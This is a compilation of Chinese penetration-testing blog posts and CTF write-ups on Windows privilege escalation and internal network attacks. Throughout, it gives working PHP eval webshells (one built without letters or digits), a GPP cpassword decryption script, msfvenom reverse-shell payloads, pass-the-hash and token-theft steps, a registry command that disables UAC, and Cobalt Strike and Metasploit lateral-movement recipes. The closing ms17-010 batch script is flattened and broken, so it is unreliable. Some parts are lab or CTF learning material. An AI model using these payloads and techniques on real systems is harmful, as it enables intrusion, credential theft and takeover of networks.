0x00 前言

Windows-Exploit-Suggester是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具,其官方下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester,它是用python开发而成,且必须安装xlrd库(https://pypi.python.org/pypi/xlrd),其主要功能是通过比对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。

0x01 实现原理

Windows-Exploit-Suggester通过下载微软公开漏洞库到本地“生成日期+mssb.xls”文件,然后根据操作系统版本,跟systeminfo生成的文件进行比对。微软公开漏洞库下载地址:

http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982。同时此工具还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。

0x02 安装

首先从官网下载该脚本,放置到Kali中,安装xlrd库,pip install xlrd。

然后更新下漏洞库,但是因为走国外链接,所以更新总是失败,所以想到Kali搭配SSR,实现漏洞库更新。开始安装SSR:

wget https://nico.cc/files/softs/SSR/ssr
mv ssr /usr/local/bin
chmod 766 /usr/local/bin/ssr
ssr install
ssr config

配置信息与SSR的配置信息对应即可

保存退出后就成功配置完毕了。因为信息敏感这里不放ssr config的图了,英文好的都可以看懂。接下来配置proxychains

vim /etc/proxychains.conf

将dynamic_chain前面的注释去掉,再将[ProxyList]下的socks4 改为socks5,并且127.0.0.1后面的端口改为1080

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

然后执行proxyresolv www.google.com 出现ok即可

接下来开启火狐proxychains firefox,访问谷歌,能够使用谷歌搜索东西即为成功。

配置完毕后使用proxychains更新数据库

再用Win7做个测试,打开cmd命令窗口输入:systeminfo > win7.txt。实际渗透通过Shell管理工具执行命令保存。把win7.txt传到Kali中,再输入python windows-exploit-suggester.py –database 2020-07-14-mssb.xls –systeminfo win7.txt,成功看到可利用内容。

check in

考点:文件上传过滤ph,短标签命令执行绕过,.htaccess攻击

知识点:<?=和<? echo等价,从PHP5.4.0后起<?=总是可用的

<?=eval($_POST[‘cmd’]);相当于<? echo eval($_POST[‘cmd’]);

抓包,随便上传了个马,发现存在内容黑名单

过滤了ph,尝试用短标签绕过本地测试了下,这样的短标签可以执行任意系统命令,system也可以

于是我们去选择构造如下的payload上传,让他直接执行命令 ,其中注意.htaccess中的php部分用换行绕过,同时修改Content-Type类型

最后访问得到flag

如果要getshell可以蚁剑连接的话上传<?=eval($_POST[‘cmd’]);

Hard_Pentest_1

考点: 短标签+无字母数字webshell+内网渗透

打开题目的源码如下:

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="submit">
</form>

</body>
</html>

代码过滤很简单:不允许php后缀,且文件内容不能存在数字和字母,php大小写就绕过了,无数字字母的webshell构造参看https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

<?=$_=[]?>
<?=$_=@"$_"?>
<?=$_=$_['!'=='@']?>
<?=$___=$_?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?>
<?= $__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$____='_'?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?= $_=$$____?>
<?= $_[__]($_[_],$_[___])?>

上面这个脚本请仔细研究,很好理解。最后访问得到的路径去写一个马

蚁剑连接后发现是Windows环境,找到一个压缩包,导出,发现需要密码

根据提示继续进行内网渗透,查到域控192.168.0.12,该机器为192.168.0.11并属于De1CTF2020.lab域中

输入net use查看域中的共享连接

接下来参看大佬的Writeup学习到域渗透中SYSVOL还原组策略中保存的密码方法

参看:https://3gstudent.github.io/3gstudent.github.io

首先在每个域内都有一个共享的文件夹SYSVOL,路径为:\\<donain>\SYSVOL\,所有域内主机都能访问,里面保存组策略相关数据。因此进入该域中的共享文件夹

然后需要找到相应的策略组id的配置文件,路径为://De1CTF2020.lab/SYSVOL/De1CTF2020.lab/Policies/{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}/Machine/Preferences/Groups/,如下是配置文件Groups.xml的内容

其中cpassword为AES加密的密码,有现成的解密脚本,改一下密码即可

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param(
        [string]$Cpassword
    )
    try{
    # Append appropriate padding based on string Length
    $Mod=($Cpassword.length % 4)
    
    switch($Mod){
    '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length-1)}
    '2' {$Cpassword += ('='*(4-$Mod))}
    '3' {$Cpassword += ('='*(4-$Mod))}
    }
    
    $Base64Decoded=[Convert]::FromBase64String($Cpassword)
    #Create a new AES.NET Crypto Object
    $AesObject=New-Object System.Security.Cryptography.AesCryptoServiceProvider
    [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
    
    #Set IV to all nulls to prevent dynamic generation of IV value
    $AesIV = New-Object Byte[]($Aesobject.IV.Length)
    $AesObject.IV=$AesIV
    $AesObject.Key=$Aeskey
    $DecryptorObject=$Aesobject.CreateDecryptor()
    [Byte[]] $OutBlock=$DecryptorObject.TransformFinalBlock($Base64Decoded,0,$Base64Decoded.length)
    
    return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }
    
    catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"//对应密文

保存为1.ps1上传,在虚拟终端运行:powershell -executionpolicy bypass -file 1.ps1,得到压缩包密码,打开得到flag1

假冒令牌可以假冒一个网络中的另一个用户进行各种操作。令牌包括登录会话的安全信息,如用户身份识别、用户组和用户权限。
当一个用户登录Windows系统时,它被给定一个访问令牌作为它认证会话的一部分。例如,一个入侵用户可能需要以域管理员处理一个特定任务,当它使用令牌便可假冒域管理员进行工作。

Windows安全相关概念

Login Session:不同帐号登录产生不同的登录Session,代表不同的帐号权限。

Tokens简介
·与进程相关联,进程创建时根据LoginSession分配对应Token,含有该进程用户帐号、组信息、权限信息等
·用户每次登录,产生LoginSession分配对应Token
·访问资源时提交Token进行身份验证,类似于Web Cookie
·Delegate Token:交互登录会话( 例如本地用户直接登录、远程桌面登录 )
·Impersonate Token:非交互登录会话( 利用net use访问共享文件夹 )

两种令牌都是在重启后才会消除,具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

第一种方法:Incognito伪装

·独立软件,被集成到到msf的meterpreter中
·不用获取帐号密码窃取token将自己伪装成合法用户
·适用于域环境下提权渗透多操作系统

meterpreter> load incognito

输入?或者help弹出帮助信息

list_tokens查看用户在以前登录该机器时保留的token信息

红框圈住的是token信息,一个是普通用户的,一个是域管理员的

通过获取到的域管理员的Token伪装成域管理员,调用impersonate_token

再次查看uid就可以看到已经是EA域下的域管理账户了

第二种方法:利用steal_token从进程窃取令牌

利用用户启动的进程来窃取令牌登录,这里随便选用pid 4316进行测试,这是TEST/test1启动的

执行命令steal_token 4316

进程可通过ps命令进行查看,用户在登录使用的过程中都会在进程中留下token信息。 从而进程窃取令牌成功 。

返回原来的用户:输入rev2self或者drop_token

Hash基础知识

Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值

获取Hash值

hashdump(systen权限)

meterpreter >run post/windows/gather/hashdump(system权限)

meterpreter > run post/windows/gather/smart_hashdump(system权限)

检查权限和系统类型
检查是否是域控制服务器
从注册表读取hash、注入Lsass进程
如果是08server并具有管埋员权限,直接getsystem尝试提权
如果是win7且UAC关闭并具有管理员权限,从注册表读取
03/XP直接getsystem,从注册表获取hash

其中在通过提权后获得的session(如bypassuac),不进行getsystem的时候getuid查看的仍是管理员权限,但实际已经提到了system权限,这种情况不进行彻底转换也可以运行hashdump了

拿到Hash值后第一种方法进行解密,可利用在线网站http://cmd5.com等,如果是使用CS拿下的运行mimikatz也有可能获取到明文。当无法获取到明文时考虑哈希传递

哈希传递

psexe有MSF,CobaltStrike和exe版本。

使用psexec前提需要目标机器开启445端口,可先进行一个端口扫描

创建/执行远程命令代码。
执行远程进程的前提条件是对方机器必须开启ipc,以及admin,否则无法执行。下面我们来看详细命令:
开启ipc$
net share ipc$
开启admin$
net share admin$

msf5 >use exploit/windows/smb/psexec

msf5 exploit(psexec)> set rhost 目标机IP

msf5 exploit(psexec)> set smbuser root(hashdump下来的)

msf5 exploit(psexec)> set smbpass aad3b435b51404eeaad3b435b51404ee:afc44ee351d61d00698796da06blebf(获取到的hash值)

msf5 exploit(psexec)> set payload windows/meterpreter/reverse_tcp

msf5 exploit(psexec)> set lhost kaliIP

msf5 exploit(psexec)> set port 3333

如果目标机器开启UAC,需要通过获得的meterpreter权限通过修改目标机注册表信息关闭掉UAC

可以使用 reg add /?查询帮助使用信息

下面是对注册表中UAC控制改为0(关闭UAC)

reg.exe ADD HKEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /V EnableLUA /t REG DWORD /d 0 /f

ADD 后是注册表信息,/v 是值名 /d

关闭后需要进行重启才会生效 ,可以通过一些攻击手法进行重启。再次获得shell执行psexec的横向移动。前一篇的ATT&CK(一)中的横向移动也可以尝试使用这种方式进行。

前期准备:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/下载虚拟机

配置环境需要两张仅主机模式开启的网卡

构造这样的内网环境,Kali和Win7的外网IP处于同一网段,可以进行攻击,而Win7还有内网网段,通过拿下Win7机器继续攻击其处于内网同一网段的Win2003及其域控服务器。

首先登录Win7开启phpstudy,登陆密码hongrisec@2019,所有虚拟机密码都是这个。

复现:

因为在kali和win7在同一网段,所以可以使用netdiscover对主机IP进行探测

探测到129存在,应该就是目标Win7主机,对目标主机端口开放情况进行探测

nmap -sC -sV -Pn -p 1-65535 192.168.136.129

发现存在80端口开放,访问看到phpStudy探针页面,直接猜测佩戴了phpmyadmin,随即访问,猜测弱口令root/root登陆上去

接下来利用日志文件Getshell,参看我之前写的PHPMyadmin getshell到提权文章

show variables  like  ‘%general%’; #查看日志状态

SET GLOBAL general_log=’on’ ;#开启写日志记录

SET GLOBAL general_log_file=’C:/phpStudy/www/233.php’ ;#更改日志文件目录

写入一句话 SELECT ‘<?php eval($_POST[“cmd”]);?>’ ;蚁剑连接

这就拿到Win7机器的权限了,接下来就是进行对内网信息收集的过程了

内网信息收集

利用CS生成一个windows64位的exe文件(做好监听)监听选择TCP

用蚁剑将exe上传,打开虚拟终端运行,CS上线,可以看到是管理员权限

接下来进行为了后续的信息收集进行提权

选择内置提权的方式或者外部加载一些payload,参考我的CobaltStrike系列

拿到System权限,最后注意下CS默认心跳60秒,实战的时候确实应适当高一些,30秒左右差不多,靶机环境自行设置:sleep 10

beacon> hashdump,去获取NTLM哈希值可以尝试在cmd5等网站解密

beacon> shell ipconfig,查看Win7机器所处环境

可以看到192.168.136.129是其模拟的公网IP,192.168.50.133是其模拟的内网IP

判断是否有域

whoami
ipconfig /all
hostname
nslookup god.org
systeminfo
net config workstation
net view /domain
net time /domain

接下来利用神器Ladon,https://github.com/k8gege/Ladon

详细使用方法参看:https://www.cnblogs.com/k8gege/p/11907810.html

选择下图,点击Load,选择cna后缀的文件,即可与CS联动使用

因为知晓其内网网段,直接对其域成员及域控进行探测

域内存活主机探测/系统/端口

beacon> Ladon 192.168.50.0/24 OnlinePC

可以看到存在三台机器133是我们拿下的Win7,还有135和134

beacon> Ladon 192.168.50.0/24 OsScan

beacon> Ladon 192.168.50.0/24 PortScan 或者指定IP进行探测

横向移动

1.利用psexec(需要密码相同)

因为192.168.50.0/24段不能直接连接到192.168.136.128(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

前提先run mimikatz获取解密明文,如下图点击可以看到解密密码

接下来准备smb协议

选择后会再生成一个session, 再对50的B段进行445端口的扫描(CS里自带)

完成后在View中选择Targets,在win7内网IP处如图选择

session选择之前获得的system权限的一个即可,“Launch”后会获得两个System权限的内网机器,拿下域控。这里我只拿到这台域控,另一台有延迟或者其他原因一直连接不上。最后大佬说可以考虑哈希传递去搞,以后学习记录。

注:实战的话,这种方式横向移动有失败可能,因为需要其他机器的密码与我们拿下的机器的密码相同才可以,但是用这种方式横向移动没有解出明文密码也可进行。最后注意msf与CS在实战中特征量是比较明显的,有情况的话需注意。

2.令牌偷取

偷取完回到targets,选择域中其他两台机器

选择一个session“Launch”,但是这种方式效果不是很好,我测试的时候没有成功,不理解什么原因。

3.CS与MSF联动使用MS17-010

拿到shell后 建立一个对外的监听,端口随便,这里注意使用的是tcp

msf上开启监听

回到CS复制一份shell传给对外监听的那个,选择choose,msf上收到shell

上线后 添加路由

run get_local_subnets #查看当前网络网络情况

可以看到有两段,我们的目的将路由设到50网段中

run autoroute -s 192.168.50.0/24 #添加路由

run autoroute -p #查看路由添加情况

成功添加路由

bg将meterpreter会话放到后台运行

msf5 > use auxiliary/admin/smb/ms17_010_command

查看options看到可以修改命令,并执行,另一台机器同理,通过这种方法可以添加用户,开启3389远程登陆拿下域机器

这里我测试的时候常规的ms17_010打法失败,实战可以考虑尝试。

这篇文章真的学到了很多东西,也写了好久,不断摸索,文章中仍有部分未完全理解透的知识点,有些地方也只是知晓其使用方法,仍需在后续的学习中不断提高修复。

最后:内网学习主要是工具使用,内网环境及域环境知识利用,常用命令及其思路和利用点的应用,实战中可能一些骚招式能起到出其不意的效果,当然0day最强。本文横向移动的方法主要基于各虚拟机密码相同才会相对容易一下,实际情况很可能在拿下机器后需要登录进行更多的信息收集(如配置文件,重要文档)去获取其他机器密码,同时注意拿域控,拿域控,拿域控,重要的事情多强调。

环境准备:win7,phpstudy(包含phpmyadmin,可用旧版)

开始攻击:

通过弱口令,信息收集,爆破等方式获知phpmyadmin的账号密码是root root

开始登录目标机器上的phpmyadmin

2.检测MySQL全局变量(generallog、generallog file)的值。

在SQL处输入sql语句: SHOW VARIABLES LIKE ‘general%’

看到general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。

general log file 指的是日志的保存路径。

已知general_log默认是关闭的,log日志存放的位置如图所示

开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在如图所示的一个log文件中,其实就是我们常说的日志文件。利用的思路是开启generallog之后把general_logfile的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。

这里需要知道网站目录,可以通过phpinfo信息查看得到。testshell.php是自己命名的用于存储新的log文件。

  1. set global general_log = "ON";
  2. SET global general_log_file=’C:/phpStudy/PHPTutorial/WWW/testshell.php’;

然后插入一句话木马,继续执行:

select '<?php eval($_POST[cmd]);?>';

接下来在网页访问testshell.php查看日志写入情况

但是在浏览器中看不到存在一句话木马的信息,但实际上已经写入,从win7靶机可以看到

接下来利用蚁剑连接,可以连接成功

打开虚拟终端,执行whoami得到的是一个administrator权限,这里我重命名了(忽略)

接下来通过msf提权,首先生成exe木马文件。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.194.181 LPORT=4444 -f exe >testshell.exe

注:LHOST处ip是kali的ip

设置监听,准备得到shell(此处生成木马目的是为了shell传递到msf)

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.194.181

run

然后通过蚁剑上传testshell.exe

在蚁剑虚拟终端运行exe,可以看到msf上得到shell

最后直接getsystem进行提权

这里我直接提权成功了,如果没有成功的话可以使用UAC提权等方式,参看我内网渗透的文章。

【以下文章来源于公众号:远洋的小船 、作者:远洋的小船】
https://mp.weixin.qq.com/s/b8joRLDUrxXP79oRuYZcmA

以下内容与测试工具仅限技术交流,严禁用于非法攻击

0X00 前言:
对于红队队员来说,打点之后最重要的就是横向的内网渗透了,但很多人都卡在了这一步,今天这篇文章就主要讲一讲cobaltstrike和msf的联动,内网渗透的一些小思路,以及我遇到的一些msf和cs的坑

0X01 从SQL注入到CS上线SQL注入方面就不详细赘述了,相信大家都很了解,目标站存在一个POST型的注入,且为SA用户,MSSQL的数据库,所以我们呢就可以直接进行–OS-SHELL

我们先在cs建立一个监听,这里我选用的payload是Windows/beacon_http/reverse_http,host填写vps地址,端口随便定义

下一步就是生成一个HTML木马,ATTacks-packages-HTML我们选择刚才新建的那个监听,然后选择方法powershell

之后就是选择你刚刚生成的木马,在你的vps上建立一个下载链接

在目标机器上通过mshta执行

然后这时候我们就会看到我们的CS里多出了一个目标

但是这个时候我们发现这个机器的权限是MSSQLSERVER,这对于我们来说是远远不够的,这个时候我们就要进行提权操作,CS中自带了几个提权的脚本,你也可以通过插件来获取其他提权脚本,但是我用CS的脚本进行提权都以失败告终,所以我需要把这个session传输到MSF里面0X02 CS和MSF的session的互传

这一步是走向内网的第一步,也可以说是打点渗透的最后一步,可以说是非常重要的了,我们首先需要在CS中建立一个全新的监听,以便于session的传输

这个监听的payload要选择Windows/foreign/reverse_tcp,HOST填写你的vps,port随意

这里我的msf装在了vps上,所以我们打开vps,新建一个screen,运行msf,然后选择exploit/multi/handler之后我们设置payload,设置成和cs对应的如图所示

之后就是设置LHOST和LPORT,由于我的CS监听设置的地址就是vps的地址,所以我们在vps上监听0.0.0.0就可以,然后lport写刚刚你在cs上设置的port,一切设置完成我们先在msf上run起来,之后在cs上选择刚刚上线的机器,在beaconshell中输入spawn+刚刚你设置的msf监听名字就可以了,过一会儿我们就能看到msf中有机器上线

下一步就是利用msf提权,这里我们先把这个session放到后台,用bg命令就可以

之后我们用这个插件 post/multi/recon/local_exploit_suggester,进去之后我们set session * *就是刚刚你msf监听到的那个session的序号,这个插件就会自动检测目标系统版本以及可以利用的提权脚本,我们运行一下试试

可以看到,这些脚本就是可用的,这里我用了最后一个ms16-075这个漏洞

可以看到,提权成功,返回了一个新的system权限的session,下面我们尝试通过msf把这个session注入回到cs中       使用exploit/windows/local/payload_inject

把payload设置成我们cs建立的第一个监听的payload即windows/meterpreter/reverse_http

然后设置host,port以及要传回去的session

run

我们可以看到CS上返回了一个system权限的shell

这个时候我们就可以愉快的使用mimikatz等工具来把administrator的密码偷来

但是有的机器改了RDP服务的端口怎么办呢,我们可以用cs的进程管理,找到rdp服务的PID,然后在beacon中输入powershell netstat -ano,就可以找到这个PID对应的端口了

0X03 内网渗透的一些思路

我们拿到了一台机器,如何进行下一步的内网嗅探呢,cs中自带了一个portscan,当然你也可以通过socks把nmap,msf之类的带入到内网,这里我们就用cs自带的工具

我们可以看到他的内网比较简单,我进去转了一圈发现也只有一些打印机,路由器,还有一个oracle,我们通过受害机的浏览器中保存的密码进入到了其中,新建项目即可传war包,上传jsp木马,还有就是剩下几台445的windows主机了,由于我比较懒,就不把msf带入了,直接传一个ms17010的利用工具

至此,内网全部主机沦陷,打完收工,内网方面错综复杂,大家可以注意一些未授权访问啊,弱口令啊,浏览器保存的密码啊,整理出属于这个网段的密码字典,然后密码复用,细心总会有意外惊喜

最后,贴上一个自己写的ms17010批量工具,是刚刚利用的时候突发奇想写的,还没调试,希望各位大佬不要笑话,有时间帮小弟调试修改一下,在这里给大家磕头了

import sysimport osfor a in range (0,256):    a = str(a)    ip = "xx.xx.xx.""+a+"    def ms(config):        config=open('ms17010.rc','w')        config.write('use exploit/windows/smb/ms17_010_eternalblue'+"\n")        config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"\n")        config.write('set RHOST '+ip+"\n")        config.write('set LHOST "445"\n')        config.write('exploit'+"\n")    ms('')def main():    mg=os.system('msfconsole -r /root/ms17010.rc')if __name__ == '__main__':    main()

前提获得一个shell

此时可以看到只有少数几个提权脚本

然后我们可以下载提权扩展脚本https://github.com/rsmudge/ElevateKit 填充

点击load加载,导入cna模块

此时就可以看到多出了好几个

尝试选择不同的提权脚本运行即可,有的会返回一个加星号的用户代表提权成功,相当于提到system权限,如果没有变化可以尝试使用getsystem(msf中可以这样转换下);而对于使用的提权脚本可以查看对应目标机上是否打有补丁,

shell systeminfo

KB开头对应的补丁编号

可以下载http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx查看对应的漏洞及补丁编号

前提:拿到一个shell

建立一个对外的监听,端口随便,这里注意使用的是tcp

打开msf,设置如下监听

回到CS复制一份shell传给对外监听的那个,选择choose,msf上收到shell

至此结束

也可以尝试用msf将shell传给CS,这个暂且没弄,都不是很难,可以自行上网上搜索相应资料

需求

例如拿下了一台主机,该主机存在dmz区,有公网ip,可以访问内网,那么我们需要借助这个主机为跳板来进行后续的内网渗透。
思路为:在该主机上搭建一个socks代理服务器,然后攻击机的msf设置代理为socks服务器的ip,把msf流量给到目标机,相当于目标机上再运行msf,实现msf内网使用的效果,来进行后续的内网渗透。

实验准备:

kali,一台搭好的网站的windows server机器,一台win10

简述实验步骤

这里我通过我win10本机开启CS客户端,kali依然是服务端,windows server的机器是我们模拟打下来的一台机器,他有内网外ip,然后我们通过这台假期攻击与其在一个内网区域的win10虚拟机(这里假设我正常无法ping通win10虚拟机),然后给kali上的msf挂上CS拿下的那台机器的代理,这样就相当于将msf集成到了我们拿下的那台机器上了,这样攻击win10虚拟机等内网机器就可以直接通过kali这边的msf攻击

实验开始

首先生成一个payload的exe文件,上传给windows server机器上运行获得shell

启动代理服务

端口可以默认也可以自己修改,然后在这里可以查看

然后在下面可以看到有一个转发功能

复制,开启msf

成功挂上代理

然后我们ping一下,这里是因为实验知道win10ip,正常就需要去探测了

这里以ping一下证明可以连接上,挂代理结束